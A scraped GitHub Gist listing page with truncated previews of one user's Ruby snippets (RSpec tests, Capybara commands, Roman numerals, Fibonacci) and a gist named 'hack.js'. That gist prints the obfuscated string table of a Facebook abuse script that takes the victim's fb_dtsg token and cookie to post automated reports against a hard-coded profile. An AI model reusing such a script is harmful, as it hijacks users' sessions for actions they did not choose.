Skip to content

Instantly share code, notes, and snippets.

require 'spec_helper'
describe User do
before do
@user = User.new(name: "Example User", email: "user@example.com",
password: "foobar", password_confirmation: "foobar")
end
subject { @user }
@bjhaid
bjhaid / hack.js
Created February 3, 2014 02:08
Converted binary sequence of array from http://urfbtools.webs.com/Facebook%20Tools.txt
var _0xb161= ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "getTime", "//www.facebook.com/ajax/report/social.php", "fb_dtsg=", "&block=1&pp={\"actions_to_take\":\"[]\",\"are_friends\":false,\"cid\":", ",\"content_type\":0,\"expand_report\":1,\"first_choice\":\"file_report\",\"from_gear\":\"timeline\",\"is_following\":false,\"is_tagged\":false,\"on_profile\":false,\"phase\":3,\"ref\":\"https:\\/\\/www.facebook.com\\/Nan.ertt7\",\"report_type\":145,\"rid\":", ",\"sub_report_type\":3,\"time_flow_started\":", ",\"user\":", "}&file_report=1&__user=", "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880", "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "100006952119048"]
require 'stringio'
require 'timeout'
class Object
def methods_returning(expected, *args, &blk)
old_stdout = $>
$> = StringIO.new
methods.select do |meth|
Timeout::timeout(1) { dup.public_send(meth, *args, &blk) == expected rescue false } rescue false
=Navigating=
visit('/projects')
visit(post_comments_path(post))
=Clicking links and buttons=
click_link('id-of-link')
click_link('Link Text')
click_button('Save')
click('Link Text') # Click either a link or a button
click('Button Value')
CSV.open('/tmp/sub.csv').each_with_object(Hash.new(0)) { |x,hash| hash[x[1]] += 1 }
get '/twitter/:name' do
content_type :json
sorted_influencers(params[:name])
end
def sorted_influencers(name)
# get first 2 tweets
tweets = client.user_timeline(name)[0,1]
# for each tweet, get the retweeters
arr = tweets.map do |tweet|
@bjhaid
bjhaid / gist:8306312
Last active January 2, 2016 12:49
Roman Numerals
class RomanNumerals
NUM_TO_ROMAN = { 1000 => 'M', 900 => 'CM', 500 => 'D', 400 => 'CD', 100 => 'C', 90 => 'XC', 50 => 'L', 40 => 'XL', 10 => 'X' , 9 => 'IX', 5 => 'V', 4 => 'IV', 1 => 'I' }
class << self
def to_roman(num)
NUM_TO_ROMAN.each_with_object("") { |(k,v), mem| mem << (v * (num / k)); num = num % k }
end
def from_roman(roman)
def fib(n)
(0..n).inject([1,0]) { |(a,b), _| [b, a+b] }[0]
end
require 'rspec'
describe "Fib" do
it "should return 0" do
expect(fib 0).to eq 0
end
it "should return 1" do
expect(fib 1).to eq 1
end